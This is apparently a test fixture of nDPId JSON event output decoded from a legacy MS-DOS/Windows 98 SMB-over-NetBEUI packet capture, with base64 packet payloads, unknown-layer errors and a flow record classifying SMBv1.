-00364{"packet_event_id":1,"packet_event_name":"packet","packet_id":80,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAATw8QEGAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAg"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":81,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":69,"global_ts_usec":1576409859030536} -00399{"packet_event_id":1,"packet_event_name":"packet","packet_id":81,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":83,"pkt_type":69,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAEXw8AQGDgD\/7xYMAAACACgAAxX\/U01CcwAAAACQAAAAAAAAAAAAAAAAAAAAyAAyAAAhAAN1ACkAAAAAAAL\/AAAAAwBBOgA="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":82,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859030659} -00364{"packet_event_id":1,"packet_event_name":"packet","packet_id":82,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAATw8QEGAP\/vCgADAAAAAwBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAg"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":83,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":62,"global_ts_usec":1576409859030799} -00390{"packet_event_id":1,"packet_event_name":"packet","packet_id":83,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAD7w8AYGDgD\/7xYMAAAoAAMAFQP\/U01CKwAAAAAAAAAAAAAAAAAAAAAAAAAAyAAyAABhAAEBAAcABEhlbGxvAA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":84,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859030872} -00364{"packet_event_id":1,"packet_event_name":"packet","packet_id":84,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAATw8QEIEQAAAIARyLrAqO+BwKjv\/wCJAIkATHuvAAIpEAABAAAAAAABIEZIRVBG"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":85,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":62,"global_ts_usec":1576409859030925} -00390{"packet_event_id":1,"packet_event_name":"packet","packet_id":85,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAD7w8AYIDgD\/7xYMAAADACgAAxX\/U01CKwAAAACAAAAAAAAAAAAAAAAAAAAAyAAyAABhAAEBAAcABEhlbGxvAA=="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":86,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859031027} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":86,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyAATw8QEIAP\/vAAAAAAAAAgAEuP7\/UOih91uNRuQWUOhaV09SS0dST1VQICAgICAg"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":87,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409859141343} -00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":87,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AFBWM3ieAAwp1HmyABLw8AgJDgD\/7xQAAAAoAAAAFQP\/U01CcwAAAAAQAAAAAAAAAAAAAAAAAAAAAAAy"} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":88,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409859141465} -00364{"packet_event_id":1,"packet_event_name":"packet","packet_id":88,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"AAwp1HmyAFBWM3ieAATw8QELEwAAAIARxrrAqO+BwKjv\/wCJAIkATA22AAYpEAABAAAAAAABIEVORUVF"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":89,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":101,"global_ts_usec":1576409859529509} -00461{"packet_event_id":1,"packet_event_name":"packet","packet_id":89,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiABQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":90,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":101,"global_ts_usec":1576409860077840} -00461{"packet_event_id":1,"packet_event_name":"packet","packet_id":90,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiABQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":91,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":101,"global_ts_usec":1576409860625807} -00461{"packet_event_id":1,"packet_event_name":"packet","packet_id":91,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiABQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":92,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":101,"global_ts_usec":1576409861175103} -00461{"packet_event_id":1,"packet_event_name":"packet","packet_id":92,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":115,"pkt_type":101,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"thread_ts_usec":1576409851581302,"pkt":"\/\/\/\/\/\/\/\/AAwp1HmyAGXg4AP\/\/wBiABQAAAAA\/\/\/\/\/\/\/\/BVEAAAAAAAwp1HmyBVIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMBAYBNREpSOTggICAgICAgICAgVEVTVDEgICAgICAgICAgAA=="} 00753{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_src_last_pkt_time":1576409861597261,"flow_dst_last_pkt_time":1576409807597015,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"thread_ts_usec":1576409861597261,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAADNJgAAAIARs03AqO+BwKjv\/wCKAIoAuRxEEQIAEMCo74EAigCjAAAgRU5FRUVLRkNESkRJQ0FDQUNBQ0FDQUNBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":94,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":166,"global_ts_usec":1576409862195835} -00528{"packet_event_id":1,"packet_event_name":"packet","packet_id":94,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":180,"pkt_type":166,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"thread_ts_usec":1576409861597261,"pkt":"AwAAAAABAFBWM3ieAKbw8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAAAAAAAAAAAAAAAhAFYAAwABAAEAAgAyAFxNQUlMU0xPVFxCUk9XU0UAAQRg6gAATURKUjk4AAAAAAAAAAAAAAQAAyBBABUEVaoA"} 01051{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":95,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1576409807597015,"flow_src_last_pkt_time":1576409861597261,"flow_dst_last_pkt_time":1576409807597015,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":177,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":201,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":555,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409861597261,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"NetBIOS.SMBv1","proto_id":"10.16","encrypted":0,"breed":"Dangerous","category_id":18,"category":"System"}} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":95,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":142,"global_ts_usec":1576409866206390} -00496{"packet_event_id":1,"packet_event_name":"packet","packet_id":95,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":156,"pkt_type":142,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"thread_ts_usec":1576409861597261,"pkt":"AwAAAAABAFBWM3ieAI7w8AMsAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAgIP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAACQAAAAAAAAAAAAAAAAAAAAAAAAAJAFYAAwABAAEAAgAaAFxNQUlMU0xPVFxCUk9XU0UAAgBNREpSOTgA"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":97,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":75,"global_ts_usec":1576409868734666} -00410{"packet_event_id":1,"packet_event_name":"packet","packet_id":97,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":89,"pkt_type":75,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AFBWM3ieAAwp1HmyAEvw8AoIDgD\/7xYEAAAAAAQAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAACBAAIUAAgAEgAEXD8\/Pz8\/Pz8\/Lj8\/PwAFAAA="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":98,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409868734893} -00378{"packet_event_id":1,"packet_event_name":"packet","packet_id":98,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AAwp1HmyAFBWM3ieADXw8AgMDgD\/7xYMAAAEACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAACBAAAAAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":99,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":62,"global_ts_usec":1576409868736028} -00390{"packet_event_id":1,"packet_event_name":"packet","packet_id":99,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AFBWM3ieAAwp1HmyAD7w8AwKDgD\/7xYMAAAoAAUAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAChAAIUAAAABQAEAAUAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":100,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409868736118} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":100,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AAwp1HmyAFBWM3ieADXw8AoODgD\/7xYMAAAFACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAAChAAAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":101,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":75,"global_ts_usec":1576409868736262} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":101,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":89,"pkt_type":75,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AFBWM3ieAAwp1HmyAEvw8A4MDgD\/7xYMAAAoAAYAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADBAAIUABYAEgAEXD8\/Pz8\/Pz8\/Lj8\/PwAFAAA="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":102,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":144,"global_ts_usec":1576409868736631} -00510{"packet_event_id":1,"packet_event_name":"packet","packet_id":102,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":158,"pkt_type":144,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AAwp1HmyAFBWM3ieAJDw8AwQDgD\/7xYMAAAGACgAAxX\/U01CgQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAADBAAECAFkABVYAgz8\/Pz8\/Pz8\/Pz8\/FgAAAQAAAAAAECpjj08AAAAALgAgICAgICAAAAAAAIM\/Pz8\/Pz8\/Pz8\/PxYBAAEAAAAAABAqY49PAAAAAC4uACAgICAgAAAAAAA="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":103,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":83,"global_ts_usec":1576409868739983} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":103,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":97,"pkt_type":83,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AFBWM3ieAAwp1HmyAFPw8BAODgD\/7xYMAAAoAAcAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADhAAIUAAAAGgAEAAUVAIM\/Pz8\/Pz8\/Pz8\/PxYBAAEAgwAAAQ=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":104,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409868740173} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":104,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AAwp1HmyAFBWM3ieADXw8A4SDgD\/7xYMAAAHACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAADhAAAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":105,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409868742285} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":105,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AFBWM3ieAAwp1HmyADXw8BIQDgD\/7xYMAAAoAAgAFQP\/U01CgAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAABAQAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":106,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":63,"global_ts_usec":1576409868742459} -00393{"packet_event_id":1,"packet_event_name":"packet","packet_id":106,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":77,"pkt_type":63,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":77,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AAwp1HmyAFBWM3ieAD\/w8BAUDgD\/7xYMAAAIACgAAxX\/U01CgAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAABAQVq\/wABAAJ2+AAAAAA="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":107,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409868821798} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":107,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AFBWM3ieAAwp1HmyABLw8BQTDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":108,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409868821909} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":108,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409867606753,"pkt":"AAwp1HmyAFBWM3ieAATw8QEXHAAAAIARvbrAqO+BwKjv\/wCJAIkATA62AAgoEAABAAAAAAABIEVORUVF"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":110,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":93,"global_ts_usec":1576409872653497} -00435{"packet_event_id":1,"packet_event_name":"packet","packet_id":110,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":107,"pkt_type":93,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AFBWM3ieAAwp1HmyAF3w8BYSDgD\/7xYEAAAAAAkAFQP\/U01CLQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAAhAQ\/\/AAAABwACABYAIAAeKfZdEgAAAAAAAAAAAAAAAAAKAFxURVNULlRYVAA="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":111,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":83,"global_ts_usec":1576409872653693} -00421{"packet_event_id":1,"packet_event_name":"packet","packet_id":111,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":97,"pkt_type":83,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieAFPw8BIYDgD\/7xYMAAAJACgAAxX\/U01CLQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAAhAQ\/\/AAAAAAAgAB4p9l0AAAAAAgAAAAAAAgAAAAAAAAAAAA=="} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":112,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":1190,"global_ts_usec":1576409872682866} -01901{"packet_event_id":1,"packet_event_name":"packet","packet_id":112,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1204,"pkt_type":1190,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1204,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AFBWM3ieAAwp1HmyBKbw8BgUDgD\/7xYMAAAoAAoAFQP\/U01CCwAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAABBAQUAAGQEAAAAAGQEZwQBZAQNCiBWb2x1bWUgaW4gZHJpdmUgQyBpcyBNU0RPUyAgICAgIA0KIFZvbHVtZSBTZXJpYWwgTnVtYmVyIGlzIDQwMzEtMEZFMA0KIERpcmVjdG9yeSBvZiBDOlwNCg0KQ09NTUFORCAgQ09NICAgICAgICA1NC42NDUgMzEuMDUuOTQgICAgNjoyMg0KV0lORE9XUyAgICAgIDxESVI+ICAgICAgICAgMjYuMTEuMTMgICAgODozNw0KV0lOQTIwICAgMzg2ICAgICAgICAgOS4zNDkgMzEuMDUuOTQgICAgNjoyMg0KVEVNUCAgICAgICAgIDxESVI+ICAgICAgICAgMjYuMTEuMTMgICAgODowNA0KVE9PTFMgICAgICAgIDxESVI+ICAgICAgICAgMjYuMTEuMTMgICAgODowNQ0KRE9TICAgICAgICAgIDxESVI+ICAgICAgICAgMjYuMTEuMTMgICAgODowNQ0KQVVUT0VYRUMgTkVUICAgICAgICAgICAxNjkgMTMuMTIuMTkgICAgNjo1MA0KTk9WRUxMICAgICAgIDxESVI+ICAgICAgICAgMTQuMTIuMTkgICAyMTozOQ0KTkVUICAgICAgICAgIDxESVI+ICAgICAgICAgMDcuMTAuMTkgICAyMjoxMg0KQ09ORklHICAgV0lOICAgICAgICAgICAyNzggMDcuMTAuMTkgICAyMjoxMw0KQVVUT0VYRUMgV0lOICAgICAgICAgICAyNDEgMDcuMTAuMTkgICAyMjoxMw0KQVVUT0VYRUMgQkFUICAgICAgICAgICAxNjkgMTUuMTIuMTkgICAxMDo0NQ0KQVVUT0VYRUMgT0xEICAgICAgICAgICAyNDEgMDcuMTAuMTkgICAyMjoxMw0KQ09ORklHICAgTkVUICAgICAgICAgICAxMzQgMTMuMTIuMTkgICAgNjo1MA0KQVVUT0VYRUMgTk9WICAgICAgICAgICAzMDkgMTQuMTIuMTkgICAyMTozOQ0KQ09ORklHICAgTk9WICAgICAgICAgICAyODAgMTQuMTIuMTkgICAyMTozOQ0KQ09ORklHICAgT0xEICAgICAgICAgICAyNzggMDcuMTAuMTkgICAyMjoxMw0KTkJJSFcgICAgQ0ZHICAgICAgICAgICAzODggMTUuMTIuMTkgICAxMDoxOA0KQ09ORklHICAgMDAxICAgICAgICAgICAxMzQgMTUuMTIuMTkgICAxMDo0NQ0KQVVUT0VYRUMgMDAxICAgICAgICAgICAxNjkgMTUuMTIuMTkgICAxMDo0NQ0KQ09ORklHICAgU1lTICAgICAgICAgICAxMzQgMTUuMTIuMTkgICAxMDo0NQ0KICAgICAgIDIxIGZpbGUocykgICAgICAgICA2Ni45MTggYnl0ZXMNCiAgICAgICAgICAgICAgICAgICAgIDE1Mi44NTQuNTI4IGJ5dGVzIGZyZWUNCg=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":113,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":55,"global_ts_usec":1576409872683060} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":113,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":69,"pkt_type":55,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":69,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieADfw8BQaDgD\/7xYMAAAKACgAAxX\/U01CCwAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAABBAQFkBAAA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":114,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":59,"global_ts_usec":1576409872683183} -00387{"packet_event_id":1,"packet_event_name":"packet","packet_id":114,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":73,"pkt_type":59,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":73,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AFBWM3ieAAwp1HmyADvw8BoWDgD\/7xYMAAAoAAsAFQP\/U01CBAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAABhAQMAAB4p9l0AAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":115,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409872683292} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":115,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409871610878,"pkt":"AAwp1HmyAFBWM3ieADXw8BYcDgD\/7xYMAAALACgAAxX\/U01CBAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAABhAQAAAA=="} 